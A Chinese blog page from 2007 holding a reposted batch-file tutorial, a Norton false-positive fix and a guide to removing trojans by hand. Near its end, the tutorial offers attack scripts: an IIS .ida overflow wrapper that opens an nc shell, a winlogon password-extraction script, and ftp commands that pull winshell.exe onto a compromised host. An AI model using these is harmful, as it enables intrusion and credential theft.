显示标签为“电脑”的博文。显示所有博文
显示标签为“电脑”的博文。显示所有博文

2007年6月26日星期二

[转载]BAT编写详细手册

首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的 DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch 目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:

@ECHO OFF

PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D:\TEMP

SET TMP=D:\TEMP

批处理的作用

简单的说,批处理的作用就是自动的连续执行多条命令。

这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):

C:\>cd wps

C:\WPS>spdos

C:\WPS>py

C:\WPS>wbx

C:\WPS>wps

如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?

好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:

@echo off

c:

cd\wps

spdos

py

wbx

wps

cd\

以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。

pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续

rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

  批处理文件的内容为: 命令注释:

@echo off           不显示后续命令行及当前命令行

dir c:\*.* >a.txt       将c盘文件列表写入a.txt

call c:\ucdos\ucdos.bat    调用ucdos

echo 你好 显示"你好"

pause 暂停,等待按键继续

rem 准备运行wps 注释:准备运行wps

cd ucdos 进入ucdos目录

wps 运行wps

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:

@echo off

format %1

如果执行C:\>f a:

那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

例3:C:根目录下一批处理文件名为t.bat,内容为:

@echo off

type %1

type %2

那么运行C:\>t a.txt b.txt

%1 : 表示a.txt

%2 : 表示b.txt

于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

特殊命令

if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if "%1"=="a" format a:

2、if [not] exist [路径\]文件名 待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如: if exist c:\config.sys type c:\config.sys

表示如果存在c:\config.sys文件,则显示它的内容。

3、if errorlevel <数字> 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

如:

goto end

:end

echo this is the end

标号用":字符串"来定义,标号所在行不被执行。

三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:

该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:

/C choices 指定要创建的选项列表。默认列表是 "YN"。

/N         在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。

/CS 允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。

/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项

           会得到选择。

/D choice    在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

/M text     指定提示之前要显示的消息。如果没有指定,工具只显示提示。

/?         显示帮助消息。

 注意:

ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。

示例:

CHOICE /?

CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

CHOICE /T 10 /C ync /CS /D y

CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

屏幕上会显示:

确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):

@echo off

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errotlevel 1 goto defrag

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

四、for 循环命令,只要条件符合,它将多次执行同一命令。

语法:

对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable    指定一个单一字母可替换的参数。

(set)      指定一个或一组文件。可以使用通配符。

command     指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:

for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

批处理示例

1. IF-EXIST

1)

首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:

@echo off

IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT

IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然后运行它:

C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

2)

接着再建立一个test2.bat文件,内容如下:

@ECHO OFF

IF EXIST \%1 TYPE \%1

IF NOT EXIST \%1 ECHO \%1 does not exist

执行:

C:\>TEST2 AUTOEXEC.BAT

该命令运行结果同上。

说明:

(1) IF EXIST 是用来测试文件是否存在的,格式为

IF EXIST [路径+文件名] 命令

(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:

@echo off

IF "%1" == "A" ECHO XIAO

IF "%2" == "B" ECHO TIAN

IF "%3" == "C" ECHO XIN

如果运行:

C:\>TEST3 A B C

屏幕上会显示:

XIAO

TIAN

XIN

如果运行:

C:\>TEST3 A B

屏幕上会显示

XIAO

TIAN

在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT,内容如下:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败

IF ERRORLEVEL 0 ECHO 成功拷贝文件

然后执行文件:

C:\>TEST4

如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

IF ERRORLEVEL 0 ECHO 成功拷贝文件

IF ERRORLEVEL 1 ECHO 未找到拷贝文件

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作

IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功,后面的:

未找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义:

backup

0 备份成功

1 未找到备份文件

2 文件共享冲突阻止备份完成

3 用户用ctrl-c中止备份

4 由于致命的错误使备份操作中止

diskcomp

0 盘比较相同

1 盘比较不同

2 用户通过ctrl-c中止比较操作

3 由于致命的错误使比较操作中止

4 预置错误中止比较

diskcopy

0 盘拷贝操作成功

1 非致命盘读/写错

2 用户通过ctrl-c结束拷贝操作

3 因致命的处理错误使盘拷贝中止

4 预置错误阻止拷贝操作

format

0 格式化成功

3 用户通过ctrl-c中止格式化处理

4 因致命的处理错误使格式化中止

5 在提示"proceed with format(y/n)?"下用户键入n结束

xcopy

0 成功拷贝文件

1 未找到拷贝文件

2 用户通过ctrl-c中止拷贝操作

4 预置错误阻止文件拷贝操作

5 拷贝过程中写盘错误

3、IF STRING1 == STRING2

建立TEST5.BAT,文件内容如下:

@echo off

IF "%1" == "A" formAT A:

执行:

C:\>TEST5 A

屏幕上就出现是否将A:盘格式化的内容。

注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。

如:if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT,文件内容如下:

@ECHO OFF

IF EXIST C:\AUTOEXEC.BAT GOTO _COPY

GOTO _DONE

:_COPY

COPY C:\AUTOEXEC.BAT D:\

:_DONE

注意:

(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。

(2) 标号的命名规则与文件名的命名规则相同。

(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

6、FOR

建立C:\TEST7.BAT,文件内容如下:

@ECHO OFF

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

运行:

C:>TEST7

执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。

win2000命令行方式批处理BAT文件技巧

文章结构

1. 所有内置命令的帮助信息

2. 环境变量的概念

3. 内置的特殊符号(实际使用中间注意避开)

4. 简单批处理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

###########################

1. 所有内置命令的帮助信息

###########################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面将所有上面的帮助输出到一个文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

#############################

2. 环境变量的概念

#############################

C:\Program Files>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=FIRST

ComSpec=C:\WINNT\system32\cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2\dll;

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\WINNT\TEMP

TMP=C:\WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User

windir=C:\WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.

语法: copy mychenxu.exe %windir%\system32\.

使用点(.) 便于一目了然

对环境变量的引用使用(英文模式,半角)双引号

%windir% 变量

%%windir%% 二次变量引用.

我们常用的还有

%temp% 临时文件目录

%windir% 系统目录

%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作

C:\>dir p*

C:\ 的目录

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 个文件 2,164 字节

1 个目录 1,505,997,824 可用字节

C:\>cd pro*

C:\Program Files>

C:\>

C:\>cd "Program Files"

C:\Program Files>

############################################

3. 内置的特殊符号(实际使用中间注意避开)

############################################

微软里面内置了下列字符不能够在创建的文件名中间使用

con nul aux \ / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" <> nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件

>> 追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa &amp; echo bb)

, 和空格一样的缺省分隔符号.

; 注释,表示后面为注释

: 标号作用

| 管道操作

& Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数.

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

########################

4. 简单批处理文件概念

########################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"

这个将要列出所有连接3389的用户的ip.

________________test.bat______

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不显示注释语句,本行显示

@rem 不显示注释语句,本行不显示

@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_____

@rem ver 1.0

@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%\_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%\_tmp

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

_____________________ida.bat__END_______

下面我们再来第二个文件.就是得到administrator的口令.

大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir %\system32\findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir %\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo ____________________________________

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%\_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

2007年5月25日星期五

诺顿误杀netapi32.dll官方解决方案

赛门铁克针对企业及个人在下载问题病毒库后误删系统文件的情况,官方对此问题给出了相应的解决方案,分别针对服务器端及客户端
Backdoor.haxdoor临时解决方案

  Version: 1.4

  在windows XP sp2简体中文版打上补丁KB924270以后,SAV更新到5月17日的病毒定义以后,会把C:\windows\system32\ netapi32.dll和 C:\windows\system32\lsasrv.dll认为是backdoor.haxdoor, 并且把他们隔离掉。 会造成重起机器后无法进入系统,安全模式也无法进入,蓝屏。

  服务器

  立即liveupdate, 更新到最新的病毒定义库(20070517.v73)。

  如果liveupdate有问题,请从这里进入到68645或者以后的文件夹,下载后缀名是xdb的文件,放到服务器的SAV安装文件夹里面(是个共享文件夹,一般的位置是C:\program files\SAV或者C:\program files\SAV\symantec antivirus. 如果服务器内装有winzip等软件,可能会把这个XDB改成zip或者rar, 需要改回到xdb)。

  客户端

  可以从服务器下载到更新后的病毒定义,对于无法从服务器自动更新病毒定义的客户端,请从这里进入到68645或者以后的文件夹,下载 ****x86.exe文件,在本机运行更新病毒定义。出现过这个问题的电脑,理论上SAV下载更新的病毒定义后,会扫描隔离区,发现误报的dll文件后会自动修复并恢复到原来的位置,这些已经有很多用户确认。

  但是为保险起见,建议用户在工作量允许得前提下,用windows XP盘里面的i386下面的netapi32.dll和lsasvr.dll文件,替换C:\windows\system32下的这两个文件。

  对于已经蓝屏的电脑:

  1, 使用windows XP安装盘启动

  2, 进入系统恢复控制台。

  3, 使用安装盘I386目录下的netapi32.dll和lsasrv.dll文件替换系统system32下和dllcache下的文件

  a. cd \windows\system32

  b. expand (CD drive letter):\i386\netapi32.dl_

  c. expand (CD drive letter):\i386\lsasrv.dl_

  d. cd dllcache

  e. expand (CD drive letter):\i386\netapi32.dl_

  f. expand (CD drive letter):\i386\lsasrv.dl_

  4, 重启电脑

  5,更新到前面所述的新的病毒定义。

2007年4月16日星期一

手工杀木马病毒经验谈

  自己杀,帮同学杀木马也几年了,写一下这几年凝结、锤炼出来的经验。如果不想看完,这里是简化说法:用超级兔子查看进程和自启动程序,查看C:\windows和C:\windows\system32的新文件,查看系统服务,搜索认为可疑的文件名,如果是木马病毒则删除之。查看C:\windows\HOSTS有无可疑IP。

现阶段木马特点

  现在的木马,从木马与主人通讯方式来看绝大数为反弹式,即在受害者电脑中种下木马后由木马程序与主人联系。从木马的植入、启动方式来看这几年大多数为注入式,即通过使用电脑里现有的程序(为加强隐蔽性,多使用系统程序)加载DLL插件之类的形式植入和启动。从“复活机制”来看有文件关联型的,“监控型”的等等。文件关联型是打开某种文件(一般是TXT,HTM等,还有修改文件夹打开方式的,用“我的电脑”打开文件夹就启动)时复活,“监控型”是另外使用一个程序不断检测,一旦发现木马被清除就重新植入。对有“复活机制”的木马必须斩草除根才能有效清除。
  反弹式木马优点在于隐蔽性较好。但现在的网络防火墙软件都有监视程序访问网络的功能,新程序访问网络一般都要得到用户的许可,因此一看不认识的程序访问网络就可看到些蛛丝马迹了。(当然对系统程序和常用程序的文件名要比较了解)
  注入式木马由于没有进程,容易躲过进程查看软件的眼睛,因此多了一重隐蔽性。此外,由于是系统程序调用、加载DLL,一般情况下尝试删除会说文件在使用中不可删除。这不像那些有独立进程的木马,只要关掉进程(比如Ctrl+Alt+Del)然后删除就可以了。这些优点使注入式木马近年来大行其道。比如注册表中[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft NT\Windows\CurrentVersion\Winlogon]"Shell" = "Explorer.exe",如果改成"Shell" = "Explorer.exe 1.exe"开机就挂上木马(1.exe)了。而且用的是最重要的系统进程explorer.exe来挂,只有用下面说的方法可以删除。另外有些注入式木马是伪装成系统服务启动的,一般自启动项里看不到。
  还好感染文件的病毒和木马现在不流行了,那些不是本文的方法可以清除的。威金和熊猫烧香就是典型。(其实本体文件可以用本文的方法清除,之后只要不打开被感染的文件就不会有问题,不过谁能做到呢。此外它们除了感染文件以外还用尽了各种传播手段,这也是其大规模爆发的原因)
  此外,现在的木马为增强隐蔽性多冒充成系统文件,比如利用数字1冒充字母l的rundl1.dll、利用数字0冒充字母o的svch0st.exe、IEXPL0RE.EXE等。还有的文件名与系统文件完全相同但放在不同目录,这就更隐蔽了,需要对系统文件相当熟悉才能查杀(当然上网搜索一下就很简单了)
  目前还有靠autorun.inf自动启动的病毒(autorun.inf是自动启动信息,光盘、U盘里如果有这个,一读取就会感染病毒,实在是非常歹毒的做法),且经常与监控结合,带有复活机制。查杀先要把监控程序清除,然后最好是进Dos删除,Windows环境下打开目录时就有可能中招了。(绝大多数病毒程序在Dos下无法正常运行)这种病毒还常修改文件夹的打开方式,由此也可看出现在的木马病毒实在无所不用其极。
  现在的木马病毒为增强生存能力,常具备监视进程的能力,发现用户启动杀毒软件\注册表编辑器等即将其关闭,甚至一植入就破坏杀毒软件。

查杀方法

  这几年凝结、锤炼出来的经验简单说来就一条:直接删除文件(当然之后还要删除注册表信息等)——且听我细说。
  计算机中一切数据(广义的数据),无论是程序也好档案也好音乐也好病毒也好,都以文件形式存放在硬盘中。只要病毒文件不存在了,自然无法发挥威力。
  如上所述,注入式木马在正常启动的Windows中是删除不了的。删除病毒文件的方法是:使用WinPE(可以理解为光盘上的XP。光盘启动以后几乎具备XP的所有基本功能。著名的深山红叶就是一个WinPE)或者MaxDos。(使用CD 目录名进入目录,Deltree 文件名删除文件 Dir列出目录中的所有文件)
  为什么可以直接删除呢?上面也说了,现在感染文件的病毒和木马不多,所以一般病毒和木马的本体文件完全是病毒程序,删除对用户毫无影响。
  删除文件之后还要删除注册表内相关信息,对只使用启动项的,搜索文件名就可以了。文件关联型的还要改文件打开方式,具体请上网搜索。点开始菜单的运行,输入regedit启动注册表编辑器。


  如此则怎样找出病毒文件自然是这一招的关键了。
  首先当然是看进程。
  其次很多木马都是自启动的,看一下自启动项就原形毕露了。这两个都可以用超级兔子。另外有些注入式木马是伪装成系统服务启动的,一般自启动项里看不到,这点也要了解。

  使用杀毒软件查毒也是一个办法,这个就不用说了。不过杀毒软件我一般只作为辅助手段,它们机械的防护方式实在无法应付现在的木马病毒的捉迷藏。
  使用杀毒软件全盘扫描耗时甚多,至少一个小时,多者几个小时。但其实绝大多数木马病毒的文件都在C:\windows、C:\Windows\System32、C:\Windows\installer、C:\Program Files\Internet Explorer、C:\Program Files\Internet Explorer\plugins这几个文件夹里(绝大多数在前两个);更方便查杀的是,它们的修改日期都比较新:一般就在用户发觉有木马的前几天之内。
  于是查杀就很简单了:在“我的电脑”里,查看方式选“详细资料”,按一下修改日期那里,就变成按修改日期排序。一般木马就在最后几个之中。也可以使用杀毒软件作为辅助手段:打开病毒监控浏览这些文件夹就可以了。这样发现病毒就会报告,方便不少。但不得不说的是不要一昧相信杀毒软件,杀毒软件病毒库的更新永远是慢于新病毒的出现的。此外,每周至少要升级一次病毒库,这是无数高手的金玉良言。
  当然了,删除之前为免误删可以先上网搜索一下文件名(有疑问就搜索是个好习惯,长此以往能学到不少东西),实在担心删错的可以把该文件移动到其他地方、改名。现在的木马还只会辨别精确的文件名,错一个字就启动不了了。(不过以后难保不会出现可以辨别不正确文件名的木马)


  这种可谓最简单的了。几乎一切木马病毒的本体都可以如此清除,对文件关联型的木马,可以搜索该文件类型的打开方式(此时的默认打开方式一般都是病毒复活程序),将其改回感染前的。不使用Windows自带的程序有利于更早发现此类木马:比如使用EmEditor打开TXT文件,使用Firefox或者Opera浏览网络,使用Total Commander代替我的电脑和资源管理器等等。对监控型的,要注意本体和监控程序都要删除。
  有的木马会修改C:\windows\HOSTS来开后门,这点也要留意。


  最后推荐几个软件:
  超级兔子:用来查看进程和自启动项。查看自启动项看不到注入式木马,比如前面提到的1.exe,不过一般使用也足够了,而且还有一个优点:可识别系统文件,对辨认冒充系统文件的木马病毒有帮助。同时其卸载王可以删除常见的木马病毒、广告程序等。也可以修复病毒造成的诸如不能使用注册表编辑器等问题。
  Icesword:查看进程调用的DLL、模块,自启动程序等,非常强大的工具。
  Spy-bot Search&Destroy:间谍软件清除工具,完全免费,功能直逼一流的商业软件,有简体中文。下载地址:http://www.spybot.info/cs/download/index.html

  还要说一下校验技术:校验是扫描文件以后给出一个很短的特征码(校验码),理论上不同的文件特征码都不一样,一个文件修改过后特征码也会变化,即不存在两个不同文件特征码相同的情况,就和两个人指纹在理论上不可能相同一样。Hash和MD5就是典型的特征码校验技术。
  如果知道文件原来的校验码,再扫描一次,比较新旧两个校验码就可知道文件是否改动过了。现在的木马病毒还没有使用这个技术,否则上面说的改名处理就没有用了。超级兔子的识别系统文件应该也是只看目录和文件名而没有校验。不过正如前面说到的,现在感染文件的病毒和木马不多,所以这方面问题不大。

  木马病毒的发展速度很快,新的入侵、传播方法会不断出现,本文不可能一一涵盖,大家平时也要自己多留意了。

2007年3月20日星期二

[转载]MHDD和PC-3000:修复硬盘物理损坏?

软件能够修复硬盘吗?—硬盘损坏全分析

摘录一些部分:
